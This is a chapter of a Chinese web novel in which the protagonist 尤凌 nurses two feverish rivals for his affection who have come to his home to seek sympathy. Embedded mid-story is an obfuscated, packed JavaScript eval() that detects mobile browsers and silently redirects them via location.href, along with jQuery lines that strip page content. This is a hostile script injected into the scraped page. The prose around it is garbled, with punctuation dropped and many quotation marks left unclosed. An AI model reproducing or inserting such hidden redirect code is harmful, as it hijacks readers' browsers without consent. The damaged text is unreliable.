尤凌这一装死,就足足装了一个星期。


    这一个星期里面,他愣是连家门都没有踏出一步,丝毫不给那两个家伙可乘之机。


    倒是陶温文,尤凌开摆之后他的工作量直线上升。


    因为尤凌不管干啥都要拿他当中转站。


    有沈家的情况就让他转达,技术上的交流也让他转达,甚至骂骂咧咧都让他转达。


    就像今天。


    沈序衡期待地看着他,“尤凌让你给我带话?他说什么了?”


    陶温文沉默了一会儿,干脆把眼镜拿下来擦个不停,“凌哥说...说......让你别往他家门口丢垃圾了。”


    沈序衡:“?”


    “什么垃圾,那是礼物!!!”


    也不知道是不是被尤凌给气的,沈序衡觉得有点头晕,撑着一旁的桌面才稳住身形。


    陶温文小心翼翼溜出了办公室,留下沈序衡在办公室里面不停打转。


    混蛋尤凌,你装死难道能装一辈子吗,躲得了他一时,也躲不了他一世。


    “不行,不能这样下去了,天知道那个**人是不是已经背地里耍阴招了。”


    “我得主动出击。”


    沈序衡捏了捏眉心,思绪有点混沌,又冒出个新的疑惑来。


    陶温文跟尤凌很熟吗,在他的印象里两人的关系一直都是熟悉的陌生人,甚至段乐天跟尤凌的关系都比陶温文亲近。


    之前一直没见两人有什么交集,为什么这次尤凌一回来就跟人这么来往密切了?


    想起段乐天以前随口提过陶温文有喜欢的人。


    沈序衡危机感顿起,不会喜欢的就是尤凌吧?


    不会的不会的,肯定是单相思。


    毕竟他比陶温文高,比陶温文帅,比陶温文有能力,比陶温文年轻,比陶温文身材好。


    尤凌眼瞎了才不选他。


    说是这么说,但沈序衡还是焦躁不安。


    又开始在办公室里面团团转,一不小心撞桌子上,疼得倒吸冷气。


    怎么回事,头好晕,他不会真要被尤凌气**吧。


    ......


    尤凌这几天过得别提有多轻松。


    他突然发现,原来只要放弃任务评分,生活是如此的美好。


    每天睡到中午,在家里觅点食,看机器猫,打游戏,熬个大夜,然后接着睡到中午。


    已然不知天地为何物。


    窝在沙发上看了眼外


    面,明明才下午,但是天空阴沉沉,遍布黑云。


    看了眼天气预报,说今晚有大暴雨,气温也要新一轮骤降,让人们注意保暖以防感冒发烧。


    嗯,那晚上就吃火锅吧。


    点了一些食材,下单没多久,门铃就被按响了。


    这么快的吗,他才下单十分钟啊。


    直觉不太对,尤凌没有直接开门,而是先看了眼可视屏幕。


    果不其然,外面并不是来送菜的物业,而是某个他躲到现在的人。


    尤凌分辨了一下,应该是沈序衡,就是感觉对方的神色有些怪怪的。


    要不要追这么紧啊,都来堵家门了。


    沈序衡看向监控,“尤凌,你开门。”


    尤凌:“家里没人。”


    沈序衡:“......”


    “你要躲到什么时候?”


    尤凌目移,不去看屏幕里的人,“听不懂你在说什么,我什么时候躲了?”


    沈序衡好气又好笑,“你这还不叫躲,我又不会吃了你,就不能好好说说吗,你光躲有什么用?”


    “你就算是不喜欢我,那你就直接拒绝我好了啊。”


    尤凌心头微动,隔着门问道:“那要是我拒绝了,咱们可以当之前的事没发生过吗?”


    沈序衡:“不可以,你拒绝了我就接着追你。”


    尤凌:“那要是我不拒绝呢?”


    “那我们就官宣。”


    尤凌:“......滚!”


    也不知道是不是这一声滚起了作用,外面居然真的没有动静了。


    尤凌悄悄把自己贴到门上,听了半天,确实是没什么声音。


    难道甜甜这家伙放弃了?


    居然变得这么好说话了?


    又打开可视屏幕,想看看这家伙是不是悄悄躲在门口。


    家门口的画面映入眼中,赫然还有个人影在。


    尤凌本以为这家伙是在埋伏他,可是突然发现不对劲。


    为什么要坐地上啊,这么冷的天也不嫌冻屁股。


    明知道他有监控,以为缩起来他就看不见了吗。


    “你干嘛呢,在我家门口挖陷阱?”


    没有回应,沈序衡只是慢慢抬了下头,露出一张明显比平时红的脸。


    尤凌一愣,仔细看了看,这家伙气色确实是要比平时红得多,而且看上去呼吸也有点急促。


    “你不会是发烧了吧?”


    沈序衡点点头又摇摇头,脑袋无力地垂了下去,再也没动静了。


    “不是你别死我门口啊。”


    尤凌脑中还没反应过来身体已经先一步打开了门。


    门一打开原本靠在门上的沈序衡就软绵绵倒了下来。


    要不是尤凌速度快后脑勺就磕地上了。


    看着倒地上一副已经晕过去样子的人尤凌有点好笑。


    当任务者这么多年他什么套路没见过甜甜这家伙明显是故意跑这卖惨来了。


    但看穿归看穿他也不可能真的把人赶出去。


    别的都不说这可是他的任务目标真挂了怎么办。


    “你该减肥了好重。”尤凌嘿咻把人扛起来往楼上走去。


    沈序衡烧得昏昏沉沉的但听见尤凌的话还是下意识在心里反驳他这都是肌肉一点都不肥。


    将人放到床上尤凌揉了揉自己的老腰没好气看着已经自觉抱住了他草莓玩偶的人。


    “醒醒把外套裤子脱了别弄脏我的床。”


    沈序衡就当没听到他也确实没力气抱着玩偶装死。


    尤凌:“......”


    不动是吧。


    勾了勾嘴角尤凌俯下身去一把扯掉沈序衡的外套。


    明显感觉到沈序衡身上的热度几乎跟个热水袋似的。


    尤凌又朝着裤腰伸手。


    这一次他只是刚往下几厘米手腕就被抓住了。


    沈序衡的声音沙哑耳尖通红“我自己来......”


    “甜甜人鱼线不错哦。”


    沈序衡耳尖更红了“闭嘴......”


    飞快脱掉裤子尤凌都没看清沈序衡就整个窝进了他的被子。


    他新换的毛茸茸被子跟床单便宜这家伙了。


    “别动我量一下体温。”


    看向体温计上的数字尤凌啧了一声“三十八度而已你跟我装什么高烧昏迷。”


    沈序衡装死不回应把被子抱得更紧了。


    “头抬起来把药吃了。”


    沈序衡浮夸哼哼唧唧


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285759|198425||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “没力气。”


    一只手托上了后脑勺水杯边沿贴上嘴唇。好多天没能闻到的浅浅香气又出现在呼吸间。


    沈序衡精神一振


    “行了你就在这躺着吧。”


    见尤凌要走沈序衡伸手抓住人。


    微凉的手陡然被滚烫的掌心握住尤凌一僵脑中又开始循坏播放之前在过山车以及雕像后面的画面。


    “干、干嘛?


    “我饿了。


    “那你饿着吧。尤凌一把将沈序衡的手塞回被子,然后牢牢裹住人,冷酷无情地离开了。


    见人离开,沈序衡啧了一声,但也没在意。


    嘴角得意地勾起,一切尽在计划中。


    尤凌这混蛋就是吃软不吃硬,这不就让他混进来了。


    把脑袋往被子里面一埋,沈序衡一时间感觉自己是不是度数又上升了,不然怎么人飘飘然的。


    惬意眯上眼。


    看那个**人拿什么跟他斗。


    嗅着香气抱着草莓玩偶,沈序衡心满意足睡去。


    楼下,尤凌在厨房绕了一圈。


    下单的火锅食材已经送来了,里面正好蔬菜菌菇肉类都有。


    干脆分一点出来熬点粥。


    也不知道原理,反正发烧了就是要喝粥。


    切好菜,刚打算煮,尤凌顿了顿。


    他突然想到一件事。


    既然沈序衡能干出发烧卖惨的事,那沈序珩呢?


    这俩说到底可是同一个人。


    不自觉的,他多切了一些菜。


    “轰隆——!


    屋外一声惊雷落下,紧跟着是陡然落下的瓢泼大雨。雨水被大风吹斜,噼里啪啦打在窗户上。


    屋内金橙色的灯光照着人,还开了暖空调,跟外边黑云压城的样子形成了明显对比。


    在沙发上坐了会儿,尤凌刚打算上楼去看看沈序衡的情况,突然听见门被敲响。


    果然,来了。


    拉开门,夹杂着雨水的冷风迎面打来,眼前是被淋成了落汤鸡的沈序珩。


    见到门打开,沈序珩可怜巴巴望着尤凌,“你还在生我气吗?


    尤凌:“......


    这个比上个还装。


    伸手探了探对方的额头,果然是烫的。


    将人拉进屋子,沈序珩第一时间看见了摆在门口的鞋子,心头一紧,“那个人也在你家?


    尤凌扶住人,“是啊,比你早一点来装可怜。


    沈序珩险些被呛到,装作听不懂,脑袋往尤凌颈窝一拱,“我头好晕啊。


    “你先去客房吧。


    沈序珩眼巴巴,很是委屈的样子,“你让他睡你房间了?


    尤凌移开目光。


    又是一模一样的流程,将人湿掉的衣服裤子往洗衣机一丢,喂完药用被子牢牢裹住人。


    转身要离开,突然被拉住手腕往床上一拽。


    扑倒在床上,尤凌想起来,却被牢牢抱住。


    明明还发着烧,也不知道这家伙哪来的那么大力气。


    “你别躲着我好不好......沈序珩脑袋蹭在尤凌颈侧,说出口的热气尽数洒在皮肤上,滚烫无比。


    尤凌一僵,思绪变得乱糟糟的。


    “我没躲......


    “你怎么没躲,我给你发那么多消息你也不理我,也不找我打游戏了。


    沈序珩嗓音沙哑,委屈都快溢出来了,“说好的我们是最好的朋友呢,你现在朋友也不想跟我做了吗?